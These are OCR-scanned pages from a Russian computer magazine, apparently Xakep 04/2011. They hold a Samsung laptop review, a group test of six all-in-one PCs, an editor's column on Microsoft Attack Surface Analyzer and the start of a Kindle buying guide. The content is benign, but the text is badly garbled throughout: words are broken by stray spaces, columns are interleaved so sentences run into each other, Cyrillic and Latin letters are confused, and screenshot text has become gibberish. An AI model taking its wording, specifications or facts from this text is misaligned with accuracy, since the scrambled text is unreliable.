На п оследок упомя н ем п р о программно-ап п аратный комп л екс [ вот,

не р вно грызут ногти и завидуют. Пруфы с г р афиками, пол уче н ными с

как извер н улисы  ] оп т и м изации цвета. За этим страш ным названием

по м о щ ью к а ли брато р а Sру d егЗ , прил а гаются.

ск р ывается всего лишь датчик освещенности и ум н ый софт. Датчик улавливает сме н у внешнего освеще ни я и регули р ует по д светку

Соль в софте

эк р а н а . А софт, обна руживая запуще нн ый плеер с видеоролико м,

Samsung 9-й серии поставл яется с нескол ьки ми фирменны м и п р о­

автомати ч ески п одключает г рафическ и й профиль с увели ч ен н ым

грам м ами

ко н т р астом и насыщен н остью.

Sa m sun g. Н е с п е ши удалят ь и х, о н и могут пр и год иться l

Са м ая п р и м ечательная из них

- PhoneShare. Если злые люди

вывезл и тебя далеко за го р од копат ь картошку, ото р вав тебя от

ве

под н ятия упав ш его сервера , то ты все равно сможе ш ь ве рн утьс я к

Samsun g се р и и 9 оставляет исключительно пр иятные впечатле н ия

важному делу, вы й дя в и н тернет через телефон. И м ы гово ри м н е

- он то н ки й [чего уж там - самый тонкий] , легкий , яркий и поч т и

п р о tеl п еt-клие н т для м обильника

н е гр еется. Куда ни т к н и

- Samsung

Рh о п еShаге поз в оляет

на р аз-два сд елать из телефо н а GP R S-моАе м для н оутбука. Там , где даже элект р ичес т во

-

р едкость , та ка я штука может очень пр и год и т ь ­

ся. Кроме того, возможен и обра т ный про ц есс - если у тебя н а р або ­ те ст ранные ад м и н ы н е хотят создавать Wi-Fi вещание, то н оутбук с п о м ощью той же PhoneSha re можно будет п ревратить в бес пр овод ­ н ую точ ку д оступа , стоит л ишь подключить кабел ь Ethernet. И з бону­

сов

- отпр авка MMS и SMS через ко м пьютер с телефо н а.

cool - везде высокоскоростн ые и н терфе й сы.

Пальцы радуются тач п аду, глаза

- экра н у, а ду ш а - полез н ому со фту.

С та ким ноутбуком можно как м и нимум безопасно ходить в институт, как максимум

-

выбиратьс я « н а ка ртошку» в Кировскую область ,

оставаясь онл а Й н. Во всех сл уч а ях л э птоп не оттянет сумку и не сде­ л ает бэк п эк похож и м н а рюкзак с парашютом . Ноутбуком не стыд н о похвастаться п е р ед д рузьями

-

п о к р айней ме р е , он в п ечатлит их

бол ьше , чем мод н ые- до-тош н оты «ма к и» . Да и це н а за все удоволь­

Для адептов медиа глоба л изации в ноутбуке есть п оддержка функ ц ии

ст вие обещает быть н евысокой

Samsung AllShare - это прод ви н уты й анало г DLNA, п озволяющ и й

Уч итыва я ц е н ники на друг и е ультратонкие ноутбуки , это со в сем даже

устр аивать тра н сля ц ию медиаконтента в р еаль н ом време н и между

н ем н о го. :Х:

ХАКЕР 0 4 / 1 4 7 / 2011

-

ч уть более полутора тысяч долларов .

~

017


ГОТОВ К РАБОТЕ Тестирование моноблоков ~ Если ты не любишь выбирать мониторы, то наилучшее решение для тебя - это моноблок. Такие девайсы обладают массой плюсов, и один из важнейших - компактность. Поэтому сейчас все идет к тому, что классические настольные компьютеры становятся уделом энтузиастов­

железячников, а простые пользователи переходят на более актуальные

..

устроиства . числения миллионного знака после запятой в числе «Пи». Ну И напосле­

Технологии

док проводили игровой

Моноблок - это объединенные в одном корпусе несколько видов техники.

Не меньше внимания уделялось и таким важным для любого покупателя

TecTCall 01 Juагеz.

В нашем случае это системный блок и монитор. Получившееся устрой­

пара метрам, какдизайн и эргономика

ство занимает меньше места, проще устанавливается и так далее. По

насколько удобно пользоваться клавиатурой и мышью из комплекта.

большому счету, протестированные нами моноблоки мало в чем уступают

Также оцениваласьакустика и количество интерфейсов, расширяющих

обычным П К по функционалу, а в плане коммуникаций даже несколько

функционал. Завершающим тестом было снятие параметров монитора

превосходят их

- не в каждом системном блоке можно найти адаптеры

Wi-Fi и Bluetooth. Крометого, плюсом некоторых моноблоков является наличиеу них сенсорных дисплеев

-

малотого, что поначалу это очень

-

мы тщательно отслеживали,

при помощи колориметра.

Так как все компьютеры, кроме Apple iMac, работают подуправлением

Windows 7, мы не стали упоминать об этом в характеристиках.

весело, так ктому же существуют задачи, которые действительно удобнее выполнять пальцами, а не мышью. Для обычных же настольных компьюте­ ров сенсорный дисплей пока редкость. Впрочем, как и специальные жи­ роотталкивающие дисплеи

- еще один плюс моноблоков, ведь отпечатки

пальцев на экране выглядят не слишком эстетично. Впрочем, чистящие

салфетки сегодня отнюдь не дефицит.

Методика тестирования

СПИСОК ТЕСТИРУЕМОГО ОБОРУДОВАНИЯ

Так как моноблоки призваны заменить собой настольный компьютер , то

мы не стали делать особых различий и нагружали устройства обычными тестами дЛЯ ПК. К таким бенчмаркам относятся синтетические 3DМагk

06, 3DМагk Vantage

и РСМагk

Vantage. Кроме того, производительность

процессора и оперативной памяти проверялись встроенными тестами

архиваторов WiпRАR и

7Z ip. Скорость работы процессора легко оценить

при помощи популярной программы SuрегРi

~ 018

- мы замеряли время вы-

Acer Aspire AZ3751 ASUS ЕЕЕТор EТ2010AG 18 AppleiMac ИР TouchSmart 600-1220ru Lenovo IdeaCentre А700 Sony VАЮ VPCL 13Мl R ХАКЕР

04/ 147/20 11


Acer Aspire

АZЗ751

Apple iMac 27"

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ДИСПЛЕЙ: сенсорный 215", 1920 х1 080

ДИСПЛЕЙ : 27", 2560х1440

ПРОЦЕССОР: Intel Соге i3-540, 3.06 ГГц

ПРОЦЕССОР: Intel Соге i5, 2.8 ГГц

ЧИПСЕТ: Intel Н57 Expre ss

ЧИПСЕТ :п/а

ВИДЕОАДАПТЕР: NVIOIA GeForce GТ 320,1 Гб выделенной памяти

ВИДЕОАДАПТЕР: ATI Radeon НО 5750,1 Гб выделенной памяти

ОПЕРАТИВНАЯ ПАМЯТЬ: 4 Г б OOR3 , 2х SOO IMM

ОПЕРАТИВНАЯ ПАМЯТЬ: 4 Гб ODR3, 2х SOOIMM

ЖЕСТКИЙ ДИСК: SATA 1.5 Тб [7 200 об/мин]

ЖЕСТКИЙ ДИСК : SATA 1 Т б [7 200 об/мин]

ОПТИЧЕСКИЙ ПРИВОД: Blu-ray [чтение]

ОПТИЧЕСКИЙ ПРИВОД: слотовый OVO Supe гMulti

СЕТЕВЫЕ ИНТЕРФЕЙСЫ: 10/100/1000 Gigabit Ethernet LAN , Wi-Fi

СЕТЕВЫЕ ИНТЕРФЕЙСЫ: 10/100/1000 Gigabit Ethernet LAN, Wi- Fi

802.11 bIg/n, Bluetooth 2.1 EDR

802.11 bIg/n, Blu etooth 2.1 EDR

ДОПОЛНИТЕЛЬНО: кардридер 6-в-1 , аудиовход [стерео] , ТВ-тюнер

ДОПОЛНИТЕЛЬНО : кардридер 2-в-1 , аудиовход

[аналоговый и OVB- т]

ПОРТЫ : 4х

ПОРТЫ: 6 портов USB 2.0 [2 сбоку], HOMI, FireWire 400, 2х аудиовыход, 2х

ход , о птический S/PO IF

ауд и овход

ГАБАРИТЫ: 517х650х207 мм

ГАБАРИТЫ: 496х549х129 мм

ВЕС :

ВЕС :

USB 2.0, Mini OisplayPoгt, FiгeWiгe 800, аудиовыход, аудиов ­

13.8 кг

6 кг

••••••••• 0

ВНЕ КОНКУРСА

Ничего не скажешь , дизайнеры и инженеры компа н ии Apple умеют

Внешний вид устройства традиционен для компании Асег - тонкий и стильный корпус Тем не менее, несмотря на компактн ые габариты ,

работать. Когда мы распаковали это устройство и увидели вблизи его

огромный 27-дюймовый экран , нам сразу же захотелось посмотреть на

девайс снабжен всеми возможными сетевыми адаптерами, а также не ­

нем какой-нибудь зрелищн ый фильм, причем в отличном разрешении

плохой встроенной web-камерой, так что проблем с коммуникациями у

2560х 1 440. Когда мы это сделали , то об н аружи ли , что встр оенные колонки

тебя не возникнет. В комплект поставки входят ТВ-тюнер , беспроводные

весьма неплохи. Имеется веб-камера. Легко пользоваться беспроводны ­

мышь и клавиатура. Кстати, на мониторе [между экраном и колонками]

ми мышью и клавиатурой - они начинают работать сразу, не требуя ника­

есть сенсорная подсветка, которая подсвечивает в темноте клавиатуру.

кой с инхронизации. Кстати, мышь Magi c Mouse, у которой вся поверх­

Яркость р егулируется с помощью касания. Экра н также се н сорный, при ­

ность сенсор ная , оказалась очень удоб н ой. Да и вообще работа с Мас не

чем поддерживает два одновременных касания, что очень удобно. Во

вызвала у нас никаких вопросов - после Windows во всем разбираешься

всех тестах , включая колор иметриче ское тестирование, моноблок Асег

-

показал себ я очень хоро ш о.

-

и ко всему привыкаешь очень быстро.

Все интерфейсы соб раны на задней панели

К сожалению, на сенсорном дисплее остаются следы от пальцев. Конструктивн ы й недостаток: микрофон смон тир ован рядом с камерой,

- подключать кабели не

глядя будеттяжеловато. Щелевой оптический привод не позволяет

использовать 80-миллиметровые диски - о ни пр осто бесслед н о в нем

но рядом затесалось еще и выходное отверстие системы охлаждения. В

исчезают. Так как наши тесты н е работают под

результате шум от нее перекрывает голос

тестирования мы не имеем.

ХАКЕР о .

11.71 20 11

MacOS, то и результатов

~

019


Sony VAIO VРСL1ЗМ1R

600-1220ru

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ДИСПЛЕЙ: сенсорный24", 1920х1080

ДИСПЛЕЙ: сенсорный 23", 1920х1 080

ПРОЦЕССОР: Intel Соге 2 Duo Е7500, 2.93 ГГц

ПРОЦЕССОР :

ЧИПСЕТ: Intel Р43 Express

ЧИПСЕТ : Intel НМ57

ВИДЕОАДАПТЕР: NVI DIA GeForce GT 330М ОПЕРАТИВНАЯ ПАМЯТЬ: 4 Гб

DDR2, 2х SODIMM

HP TouchSmart Intel Соге i5-430M, 2.26 ГГц

ВИДЕОАДАПТЕР : NVI DIA GeForce GT 230М ОПЕРАТИВНАЯ ПАМЯТЬ: 4 Гб DDR3 , 2х SODIMM

ЖЕСТКИЙ ДИСК: SATA 1 Тб [7200 об/мин]

ЖЕСТКИЙ ДИСК : SATA 111.5 Тб [7200 об/мин ]

ОПТИЧЕСКИЙ ПРИВОД: DVD SuperMult i

ОПТИЧЕСКИЙ ПРИВОД: слотовый Blu-ray [чтениеl

СЕТЕВЫЕ ИНТЕРФЕЙСЫ: 10/100/1000 Gigabit Ethernet LAN, Wi-Fi

СЕТЕВЫЕ ИНТЕРФЕЙСЫ: 10/100/1000 Gigabit Ethernet LAN, Wi-Fi

802.11 bIg, Bluetooth 2.1 EDR

802.11 bIg/n , Bluetooth 2.0 EDR

ДОПОЛНИТЕЛЬНО: кардридер 6-в-1 , аудиовход

ДОПОЛНИТЕЛЬНО: кардридер 6-в-1, антенный вход, разъем S-video,

ПОРТЫ: 5 портов USB 20, FireWi re 400, S/PDIF

аудиовход, выход ИК

ГАБАРИТЫ: 429х190х582 мм

тюнер [аналоговый и DVB- ТI. MPEG 4, пульт ДУ HPWin7 Media Center

ВЕС: 12.5кг

ПОРТЫ: 5х USB 20, S/PDIF

IR blaster, HDMI и композитный видеовход, ТВ­

ГАБАРИТЫ : 583х126х451 мм

••••••••• 0

Дизайнеры Sony решили отойти от плавности вдизайне и создали моно­ блок , состоящий из прямых лин ий И острых углов. Получилось неплохо, к

тому же приподнятый дисплей делает корпус визуально легче. Д исплей сенсорный, поддерживает два одновременных нажатия.

В отличие отучастников со щелевым оптическ им приводом, данный девайс может работать со всеми типами и размерами СО и DVD. Бес

ВЕС:

12 кг

••••••••••

Качество сборки впечатляет. Например, вроде бы мелкая деталь­ панель с разъемами прикрыта кр ы шечкой с отверстия ми для проводов, но наскол ько же она улучшает экстерьер и делает внешность устройства

проводные мышь и клавиатура неплохи [правда, мышь великовата по

aKKypaTHee l С беспроводностью тут все неплохо: присутствуют адаптеры

размеру - это даже удобно для крупной мужской ладони, но выглядит не

Bluetooth и Wi-Fi, а клавиату р а и мышь работают без хвостов, причем

оче н ь изящно ] . Компоненты производитель выбрал неплохие , поэтому на

на большом расстоянии. Имеется и п ульт дистанцио нн огоуправления ,

моноблоке вполне можно будет пои гр ать, производительности хватит. А

правда, адаптер для приема его сигналов не встроенный, а требует под­

для тех, кто заботится об экономии электричества , предусмотре н а кнопка

ключения. Учиты вая наличие Т В-тюнера , пульт будет совсем не лишним.

принудительного выключения экрана.

Дисплей сенсорный, причем поддерживающий несколько одновремен­

-

Несмотря на хорошие результаты в тестах, все-таки процессор Intel Соге

2 Duo - устаревшая модель. Запас скорости у него невелик.

Тр адиционный конструктивный недостаток не обошел и эту модель­ микрофон глушится звуками системы охлаждения из-за их близкого расположения.

ных каса ни й . Кроме того, устройство можно использовать и в качестве внешнего дисплея

- например, при подключении игровой приставки.

Монитортакже оснащен wеЬ-камерой с регулируемым наклоном и светя­

-

щейся полосой для подсветки клавиатуры.

Корпус и дисплей кол л екционируюттвои отпечатки пальцев, внешний

адаптер питания мешается на столе, а щелевой оптический привод не

будет работать с 80-миллиметровыми дисками.

~

020

ХАКЕР

04 / 147/ 201 1


Lenovo IdeaCentre А700

ЕЕЕ Тор EТ2010AG

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ДИСПЛЕЙ: 23" , 1920 х 1080

ДИСПЛЕЙ : сенсорный 20", 1600х900

ПРОЦЕССОР : Iпtеl Саге ЧИПСЕТ:

i3-350M, 2.26 ГГц

Intel НМ55

ASUS

ПРОЦЕССОР: АМО Athlon 11 Х2 250u, 1.6 ГГц ЧИПСЕТ :АМО

RX780

ВИДЕОАДАПТЕР: ATI Mobility Radeon НО 5470 512 Мб

ВИДЕОАДАПТЕР :АТI

ОПЕРАТИВНАЯ ПАМЯТЬ: 2 Гб OOR3, 2х SOO IMM

ОПЕРАТИВНАЯ ПАМЯТЬ:

Rade on НО 5470, 512 Мб выделенной памяти

ЖЕСТКИЙ ДИСК: SATA 500 Гб (7200 об/мин]

ЖЕСТКИЙ ДИСК : SATA 500 Гб (7200 об/мин ]

ОПТИЧЕСКИЙ ПРИВОД: слотовый OVO SuperMulti

ОПТИЧЕСКИЙ ПРИВОД: OVO Supe rM ulti

4 Гб OOR3, 2х SOOIMM

СЕТЕВЫЕ ИНТЕРФЕЙСЫ: 10/100/1000 Gigabit Ethernet LAN, Wi-Fi

СЕТЕВЫЕ ИНТЕРФЕЙСЫ: 10/100/1000 Gigabit Ethernet LAN , Wi-Fi

802.11 Ь/g/п, Bl uetooth 2.1 EDR

802.11 bIg/n

ДОПОЛНИТЕЛЬНО: кардридер 6-в-1, аудиовход

ДОПОЛНИТЕЛЬНО: кард-ридер 2-в-1, аудиовход

ПОРТЫ: 6х USB 2.0, HOMI, S/PO IF

ПОРТЫ: 6х USB 20, HOMI, S/ POIF

ГАБАРИТЫ: 568х430х71 мм

ГАБАРИТЫ : 497х374х48 мм

ВЕС:

ВЕС:

14.8 кг

4.75 кг

••••••••• 0

• • • • • • • • 00

Любители хорошей акустики наверняка заинтересуются этой моделью,

оснащенной аудиосистемой JBL. Кроме того, девайс может похвастаться приятной внешностью

-

черный корпус с плавными линиями смотрится

стильно. Внутри скрыты процессор Iпtеl Соге i3 и видеоплата АТ I Mobility

Компания

ASUS продолжает выпуск устройств популярной у п ользова­

телей линейки ЕЕЕ. Стильный и компактный девайс отличается самым

маленьким (менее 5 кг] весом в нашем тесте. П остроен он на двухъядер­

Radeon НО 5470, которые обеспечивают производительность, достаточ­

ном процессаре АМО и оснащен видеоплатой того же производителя ,

ную для игр на средних настройках, что подтвердили и результаты наших

имеющей 512 Мб собственной памяти. Наличие всевозможных сетевых

тестов. Клавиатура и мышь работают через Bluetooth, так что их можно

интерфейсов позволиттебе всегда оставаться на связи. Учитывая малые

будет подключить к любому ПК с этим интерфейсом. Клавиатура, кстати,

габариты корпуса, компактными выполнены и беспроводные клавиатура

компактная и удобная, а также имеется специальная полоса для ее под ­

с мышью , при этом на клаве сохранен блок цифровых клавиш (правда,

светки (правда, яркость не регулируется]. В отличие от многих дру г их

участников теста, у моноблока Lenovo удобно располагается микрофон и шум системы охлаждения никак не влияет на его работу.

-

расположены они не совсем стандартно].

Корпус негабаритен во многом за счеттого, что блок питания у него

внешний. Не только вес, но и дисплей устройства также самый малень-

_ Н есмотря на неплохую начинку, производительность системы оказалась ниже средне го. Дисплей не сенсорный. У щелевого оптического привода отсутствует возможность работы с мини-СО.

кий у нас в тесте. Отнюдь невысокой оказалась и производительность

системы. Кроме того, нас не порадовала встроенная акустика , а также неудобное расположение микрофона рядом с выходом системы охлаж­ дения.

ХАКЕР

04 / 147 /2 01 1

~

021


РЕЗУЛЬТАТЬI ТЕСТОВ с) ЗDМагk

С)

Vantage

PCMark Vantage

Sony VАЮ VPCL 1ЭМ1 R

Sony VАЮ VPCL 1ЭМ1 R

Lenovo IdeaCentre А700

Lenovo IdeaCentre А 700

HP TouchSmart 600 -1220ru

HP TouchSmart 600 -1220ru

ASUS ЕЕЕ Тор ЕТ201 OAG 1В

ASUS ЕН Тор ЕТ201 OAG 1В

Acer Aspire АZЭ751

Acer Aspire АZЭ751 о

Из-за сбоев У модели

500 1000 1500 2000 2500 3000 3500 4000

SOnYTecT не завершен

о

Мобильные процессоры

С)

Sony VАЮ VPCL 1ЭМ1 R

Sony VАЮ VPCL 1ЭМ1 R

Lenovo IdeaCentre А700

Lenovo IdeaCentre А700

HP TouchSmart 600 -1220ru

HP TouchSmart 600 -1220ru

ASUS НЕ Тор ЕТ201 OAG 1В

ASUS НЕ Тор ЕТ201 OAG 1В

С)

1000 2000 3000 4000 5000 6000 7000

ВООО

Sony в лидерах

о

5 1О 15 20 25

Процессор от AMD подвел моноблок

С)

WinRAR

Lenovo IdeaCentre А700

Lenovo IdeaCentre А700

HP TouchSmart 600 -1220ru

HP TouchSmart 600 -1220ru

ASUS ЕЕЕ Тор ЕТ201 OAG 1В

ASUS НЕ Тор ЕТ201 OAG 1В

Acer Aspire АZЭ751

зо

35

40 45 50

ASUS

7-ZIP

Sony VАЮ VPCL 1ЭМ 1R

Acer Aspire АZЭ751 о

200 400 600

ВОО

1000 1200 1300 1400 1600 1ВОО

Моноблок дсег впереди всех

о

1000 2000 3000 4000 5000 6000 7000

ВООО

И опять победа за дсег

Заключение

TouchSmart 600-1220 r u, показавший

Мы провели достаточно много времени, тестируя эти устройства ,

ятный моноблок Асег

поэтому можем смело делать выводы. Все устройства оказались

покупка». Нельзя не отметить и

весьма интересными. Н а г раду «Выбор редакции» получае т

высокой це н ой.

022

ВООО

5uperPi

Sony VАЮ VPCL 1ЭМ1 R

~

4000 5000 6000 7000

Acer Aspire АZЭ751 о

Устройства дсег и

ЭООО

InteL сильнее

с) ЗDМагkО6

Acer Aspire АZЭ751

1000 2000

отлич н ую про и зводительность

и функциональность. Несколько менее мощный, но также очень при­

HP

Aspire AZ3751

награждается титулом «Лучшая

Apple iMac -

красавчика с очень

I

ХАКЕР

04 / 1471 2011


.".4·]~1

• • Степа н "S tep » И ЛЬ ИН (t w itte r.com /s t e pa h l

Колонкаре~ктора Анализатор поверхности атаки мы I до и после установки вызывающе г о

handler a nd а .NET f r amewo r k util ity l ;

Любая критическая о ш иб к а до р ого обхо­

п одозрения приложенияl, после чего

• 113 N ew Reg istered СОМ Controls;

д ится

выявляются

Вечная тема

-

безопасность

Windows.

Mic r oso ft. И ногда баг превращает­

произошедшие изменения:

• 3 New In t ernet Explorer Silent Eleva t ion

ся в катастрофу. Д остаточно вс п ом н ить

п оявившиеся файлы , новые ключи в

Entries / Preapproved contro l s IGoogle

2003 год, когда в результате э пид е мии «Бластера» было заражено более 1 500

реестре и так далее . Но есть фишка ,

Update pluginl ;

которая отличает п рог р амму от многих

• 1 New ТСР Ро г ! IEsta bl ished out bound

000 компьютеров по всему миру. Это не

ана л о г и чн ых : я

ТСР рог! оп 493361;

просто колоссальный урон по и без того

триггерах, ко т орые реагируют н а н еко ­

• 6 New Name d Pipes.

н е пр остой ре п утаци и ком п ани и , н о еще

торые потенциально опасные собы т ия.

Со гласись , это уже не просто список

гово р ю о с п ециаль н ых

и колоссаль н ые расходы. П редставь,

Если какие-то изменения сразу вызыва­

новых фа й лов и ключей в реест р е,

с к олько сто и ло об р аботат ь одни только

ют п одозрени я, их описания обязательно

как э т о бывает в слу ч ае м н ог и х друг и х

звон к и в с л ужбу п о дде р жки la их бы л о

будут в от ч ете для а н алитика.

подобн ы х утили т . Отчет Iко т орый, кстати,

более трех ми л ли о н овl о т обезу м ев ш их

Пр о в ерить систе м у в действии я р ешил

оформляется в в и де html-фа й ла l бо л ее чем п олезен для анализа и з м енений ,

по л ьзователей, ко м пьютер ы кото р ых

на только что появившемся решении

стали не переставая п е р егружа т ьс я . Н о

Goog le Clo ud Co n nec t, предназ н а ч енном

кото р ые произо ш ли в системе. Н о слова

на какие бы ухи щр е н ия ни шли раз­

для и нт еграц ии о н лайн-сервисов

«поверх н ость атаки» были бы л ишними

Google

работчики I в р оде т а к их четко фо рм али­

в офис н ый п акет

зован н ых мето д о л ог ий п о р азработке

си н х р о ни за ц и и документов с облако м

лась определить п оте н циаль н ую угрозу

тех и зме н ений, кото р ые были в н есе н ы

Microsoft Word. Для

в назва н ии, есл и бы пр ог р ам м а не п ы та­

безо п асно г о код а как SD LI, как и е б ы

в с и с т ему уст ан авливается специаль­

за щ ит н ые меха н измы н и п ри д у м ывали

ный клиент. Мои вопросы: что И где он

в систему. В случае с

Iвзять хотя бы DЕ Р и ASLR I, все рав н о

п ро п исывает в системе ,

т оже есть:

и

насколько

Cloud

Соппес ! о н и

на й де т ся какая- н ибудь Оdау-уязв и мость ,

это безопас н о? Итак , запускаем

позволяю щ ая заразить систему н есмо ­

Surface Analyze r и вы п олняем первичное

тря ни н а что. Р ебятам должно быть

ITaK называемое baseline l сканирование.

особен н о обидно за т о, что уязвимос т ь

Программа показывает процесс созда­

о т ключена система DЕР;

може т бы т ь вовсе не в самой винде или,

ни я с н имка, п одробно отображая вну­

• рабо та се р висов , над к оторыми по т ен­

скажем ,

шитель н ый с п исок элементов системы ,

ци ально возможно захва т ить конт р оль.

которые фиксируются Iэто файлы , ключи

Я п р ивожу лишь к р аткое описание, хотя

реест р а , сетевые шары ,

в о тч ете ф и гурирует п ол н ое описание

Inte r net Ex plor er. А когда ты

н е можешь ко н тро лир о в ат ь п оявле н ие

заразы в сис т еме , е д и н стве нн ый выхо д

Attack

различные

• п оявле н ие директорий со «слабыми» ог р а н и ч е н иями в досту п е;

наличие процессов, для которых

хэ н длы , за п у щ е н ные пр оцессы и сер­

проб л емы с указа н ием кон кр ет н ых

счас ть ю, в М i crоsо ft э т о по н яли. Н е так

в и сы, элеме нт ы автозагрузк и и многое

директор и й , прав доступа, име н п ользо­

дав н о в ыш ла вто р ая версия бес п лат н о го

дру гоеl. Ч ерез п ару ми н ут мы получаем

ва т елей, кото р ые м огут взять по д ко н ­

а нти вируса

cab-а р хив , в котором собра нн ые д а н ­

т роль вы п ол н ение се р виса и так далее.

-

об н аруж и ть и н е й тра ли зовать ее. К

Secu r ity Essent ials, ко т ор ый

весьм а н е п лох, п о ме н ь ш ей ме р е не

н ые р азбиты на отдельные ХМL-фай л ы

Да, это необязательно р еальные вект оры

хуже других бесплат н ых продукт ов . А

Iберу на заметку, это может п р и г о д иться

атак и, но о н и

в я н ва р е был а п ре д став л е н а еще од н а

в буду щ е м для соз д ания собственного

ся. И тако й а н а ли з очень радует.

утили та для о б ес п е ч ени я безо п асност и

а н ализатораl. Теперь ус танавливаем в

-

Microsoft Attac k Surface Analyzer.

Анализато р поверхнос т и атаки

-

звуч и т

Cloud Connec t .

После ч его за п ускаем п овторное ITaK

скр ы ваетс я д ово льн о любо п ы тн ая п р о­

н азы в аемое productl скан ир ова н ие в

г ра м ма, ко т о ра я д ля

At tack Surface Analyzer, ч тобы п о л у чи ть

лась оче н ь полез н о й н а п рактике. Н о

снимок систе м ыь п осле установки пр ило­

эт о н е м ассовый пр о дукт и никогда им

же н ия. В резул ьтате на руках м ы имеем

не буд ет. Е сли вери т ь о пи са н ию , пр ога

д ва

п р едстав л яет собой ин с тр у м е нт, кото­

выб р ав в а н ал и заторе п ункт

рый ис п ользова л с я в

attack surface report».

Mic r oso ft , а те п ерь

snaps hot 'a -

осталось и х с р авн ит ь ,

«Gene r ate

~Swfaц ~ if. .-~ dr" """')'OUf ~ tQ~ ~ser;wiIyiJ~ Thit .... "'".--- ......,.. IfIdu.'*м..~""'tfIII' '',,!mI· orIIig<..r...... Arlxts...t.и ~ ooiIt

••

1htn ,~II'4 ~.~ iru . c.u fllt Ol'« tlw tнb

Самая ц е нн ая часть отчета

са н ие то г о, что из м е н и л ось в с и стеме.

Наз н а ч ение ут ил иты п ростое

Attack Surface Analyze r вы д ае т весь м а

-

это о пи ­

ь..-

.... !КfI'IOI)'irIonn. . .

~WitdowtF"....... Е~Щииrnb~

~~5hwн En\aoIм1Щ"_~ &oume<~pottJ

ь...-~т~

~p"",,:Sf" ь-....-in9u.r..нI$

все об и зме н ен и ях , которые про и сходят

раз н о п ла н овый от ч е т. В от , что п олуч и ­

в системе п осле уста н о в ки како го- ли бо

лось д ля

.........., .......

~"'i~ ~Мit-..fI""."""-!toIatmotionж... ~~ RN.>Ilnogfile~

Wrl!ingWW'itt....,,_

Goog le Cloud Con nec t :

пр и ложен и я. П ри нц и п работы более чем

• New Service IGoogle Update Service l;

прозаичен. Создаются два сн им ка с и сте-

• New Run n ing Processes Igoogle crash

-.1t\e.

~ regin:<yUyo

.........,.......

&.ur..rЩ.utot\o>1IISb

н ых с ин фо р мац и о н ной безопас н ос т ью.

....

~мevtiIy-k>t &IurI>ef~r...

~Щ..-!"Р'9"

д осту п ен публи чн о дл я люд е й, с в яза н ­

- уз н а т ь

:::J:

систему н а ш его п одопы т ного кролика ,

то есть кл иентскую часть

к р уто , да? П од се рь ез ны м н азва ни е м

м е н я уже оказа­

в п олне могу т им и оказать ­

<.......

'-' •

..... ш

'-'

'-'

........

.......

'-' '-'

..... ......., ....... .....,

............. .......

Microsoft

ХАКЕР О4 / 1 47 / 201 1 -----------------------------------------------------------------------------------------------

~

023


ПРИРУЧИТЬ

KINDLE Как дешево КVПИТЬ и круто проапгрейдить

электронную Ifиталку 01 AmCizon

Ф На рынке сейчас доступно огромное количество электронных читалок. На любой вкус и цвет, любых размеров и с разными технологиями экрана. Но лишь некоторые можно назвать по­ настоящему хакерскими. Одним из наиболее «гиковых» ридеров является Amazon Kind[e. С помощью этого девайса не только можно читать книги, но и, к примеру, админить по SSH серваки или использовать бесплатный инет по всему миру. В процессе выбора электронной читалки для меня все всегда было

Как купить?

очевидно. В магазинах сейчас немало дeЦJeBЫx моделей, которые

Как известно , приобрести что-то в западном интернет- магазине

радуют своей доступностью, но при более детальном рассмотрении

ничуть не сложнее, чем и в российском [а зачастую даже проще). В

огорчают скудным функционалом и невысоким качеством. После

случае доставки из США , главное

непродолжительного изучения темы я для себя сделал практически

[это аналог нашей «Почты России» ) и помнить о предельном пороге

-

оформлять доставку через

USPS

однозначный вывод: если хочется купить по-настоящему достой­

в

ный девайс , потратив минимальное количество денег, то лучше

женными пошлинами. Покупки оплачиваются любой пластиковой

всего заказать читалку из Штатов. Варианта два:

и

Kindle

от

Amazon

Nook от Barnes & Noble. Оба девайса хороши: один С QWERTY-

клавиатурой и

Linux'oM на борту, второй - с дополнительным сенсор­

ным экраном и платформой

Android.

что это дает. Но самое главное И по очень хорошей цене.

Думаю, не надо рассказывать,

- это очень-очень хорошие читалки.

Amazon и Barnes & Noble могут позволить

€ 1000,

посылки стоимостью ниже которого не облагаются тамо­

картой международных платежных систем

Visa

или

MasterCard.

Есл и

ты еще не успел обзавестись таковой, рекомендую бегом отправ­

ляться в банк [обслуживание «пластика» стоит всего 600 рублей в год). Альтернативный вариант -

приобрести виртуальную карту Visa,

с п ециаль н о пред н азначенную для осуществления о нлаЙн -покупок.

Последнее, в частности, возможно через многочисленные автоматы

себе такой демпинг, поскольку зарабатывают намного больше на

Qiwi. Но все было бы совсем просто , если бы можно было зайти на

продаже контента, то есть электронных книжек. Чем больше элек­

Amazon.com , выбрать там Kindle и оформить заказ. Увы, здесь тебя

тронных читалок они продадут, тем больше кн и жек будет ку пл ено в

будет ждать облом в виде следующего сообщения: «Ki ndle Wireless

их электронных магазинах. Статистика рит о многом: В

Amazon за прошлый год гово­

2010 году было продано 115 Кiпdlе-книг на каждые

Reading Device, Wi-Fi, 6" Display, Graphite - Latest Generation cannot Ье

shipped to the selected address». Этот товар по какой-то причине

100 книг в мягком переплете и в три раза больше Кiпdlе-книг, чем

не высылают на российские

книг в твердом переплете. Отсюда и цена:

с модулем

п одобное огран ич ение не так уж и сложно, если обзавестись вир­

Wi-Fi стоит всего $139. Повторяю еще раз: $139. Да, сюда надо при ­

туальным почтовым адресом в США на свое имя. Подобную услугу

бавить стоимость доставки в Россию, но цена все равно получается

предоставляют специальные посреднические компании. Они получают

Amazon Kindle

aApeca l Это обидно, но решаемо. Обойти

на уровне самых дешевых читалок, которые доступны в пр одаже

посылку н а твое имя и в и ртуаль н ый адрес, который сами тебе выдают,

в наших магазинах. Но будь уверен: ставшая легендарной модель

а далее отправляют в любую точку мира. Подобных контор довольно

Kindle [которая, к слову, выходит уже в третьем поколении) и какая­

много, но наиболее проверенными являются

нибудь дешевка из магазина рядом с метро

со 1]1 . Цена обработки одной посылки составляет $8.50 . Подробнее об

- абсолютно несрав­

myus.com и ?~

нимы. Именно поэтому я хочу рассказать тебе о том, как заказать

этом я рассказывал в одной из своих колонок [xakep .ru/magazine/

Аmаzоп

'@/1'2J.lJJ4Ш1 a..w ). Ты можешь спросить: во сколько Kindle обходится в

Kindle сюда, в Россию, и использовать такие возможности

ридера, которые другим читалкам и не снились.

